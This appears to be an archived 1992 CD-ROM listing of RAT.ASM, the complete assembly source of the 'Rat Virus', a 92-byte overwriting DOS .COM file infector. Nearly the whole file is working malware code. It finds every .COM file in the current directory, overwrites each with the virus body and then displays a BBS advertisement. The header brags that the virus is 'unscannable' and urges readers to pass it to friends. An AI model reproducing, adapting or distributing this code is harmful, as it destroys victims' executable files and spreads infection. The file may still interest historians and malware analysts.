home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / RAT.ASM < prev    next >
Assembly Source File  |  1992-03-29  |  5KB  |  127 lines

  1.   
  2. PAGE  59,132
  3. ;*************************************
  4. ;**The Rat Virus - Overwriting      **
  5. ;**                Non-Resident     **
  6. ;**                Com File Infector**
  7. ;**                Author: -Ajax-   **
  8. ;** This virus is 92 bytes long     **
  9. ;** Because it is made in 1992 :)   **
  10. ;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
  11. ;** Pass this unscannable around to **
  12. ;** Your friends,and tell em McAfee **
  13. ;** sent ya!                        **
  14. ;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
  15. ;** Underground Asylum-904/688.6494 **
  16. ;**"Replication Is Our Middle Name!"**
  17. ;*************************************
  18.  
  19. retf            macro   ret_count               ; Fixup for Assembler
  20.                 ifdef   ret_count
  21.                 db      0CAh
  22.                 dw      ret_count
  23.                 elseif
  24.                 db      0CBh
  25.                 endif
  26. endm
  27.   
  28. retn             macro  ret_count
  29.                  ifdef  ret_count
  30.                  db     0C2h
  31.                  dw     ret_count
  32.                  elseif
  33.                  db     0C3h
  34.                  endif
  35. endm
  36.   
  37. movseg           macro reg16, unused, Imm16     ; Fixup for Assembler
  38.                  ifidn  <reg16>, <bx>
  39.                  db     0BBh
  40.                  endif
  41.                  ifidn  <reg16>, <cx>
  42.                  db     0B9h
  43.                  endif
  44.                  ifidn  <reg16>, <dx>
  45.                  db     0BAh
  46.                  endif
  47.                  ifidn  <reg16>, <si>
  48.                  db     0BEh
  49.                  endif
  50.                  ifidn  <reg16>, <di>
  51.                  db     0BFh
  52.                  endif
  53.                  ifidn  <reg16>, <bp>
  54.                  db     0BDh
  55.                  endif
  56.                  ifidn  <reg16>, <sp>
  57.                  db     0BCh
  58.                  endif
  59.                  ifidn  <reg16>, <BX>
  60.                  db     0BBH
  61.                  endif
  62.                  ifidn  <reg16>, <CX>
  63.                  db     0B9H
  64.                  endif
  65.                  ifidn  <reg16>, <DX>
  66.                  db     0BAH
  67.                  endif
  68.                  ifidn  <reg16>, <SI>
  69.                  db     0BEH
  70.                  endif
  71.                  ifidn  <reg16>, <DI>
  72.                  db     0BFH
  73.                  endif
  74.                  ifidn  <reg16>, <BP>
  75.                  db     0BDH
  76.                  endif
  77.                  ifidn  <reg16>, <SP>
  78.                  db     0BCH
  79.                  endif
  80.                  dw     seg Imm16
  81. endm
  82. location_file   equ     9Eh                     ; location of file in DTA
  83.   
  84. seg_a           segment byte public
  85.                 assume  cs:seg_a, ds:seg_a
  86.   
  87.   
  88.                 org     100h                    ; Starting of all .COM files
  89.   
  90. rat_virus       proc    far
  91.   
  92. start:
  93.                 mov     ah,4Eh                  ; fixup for making undetectable
  94.                 mov     cl,20h                  ;      
  95.                 mov     dx,offset all_com_files ;                   
  96.                 int     21h                     ;                               
  97.                                                 ;                                    
  98. start_infecting:
  99.                 mov     ax,3D01h                ;     
  100.                 mov     dx,Location_file        ;               
  101.                 int     21h                     ; Open target file.            
  102.                                                                                    
  103.                 mov     bx,ax                     
  104.                 mov     dx,offset ds:[100h]     ; Location of file to write.
  105.                 mov     cl,5ch                  ; File size to overwrite.
  106.                 mov     ah,40h                  ;     
  107.                 int     21h                     ; Write to filename in dx        
  108.                                                 ;                                  
  109.                 mov     ah,3Eh                  ;     
  110.                 int     21h                     ;                                   
  111.                                                 ;                             
  112.                 mov     ah,4Fh                  ;    
  113.                 int     21h                     ;                               
  114.                                                 ;                           
  115.                 jnc     start_infecting         ; If more files,keep goin
  116.                 mov     ah,09h                  ; 
  117.                 mov     dx,offset bbs_ad        ; display my bbsad!
  118.                 int     21h
  119.                 int     20h                     ; get to dos.
  120. all_com_files   db      2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h     ; data for all com files
  121.                                                          ; in current dir..
  122. bbs_ad          db      'Underground Asylum BBS - [904]688.6494$'
  123. rat_virus       endp
  124.   
  125. seg_a           ends
  126.                 end     start
  127.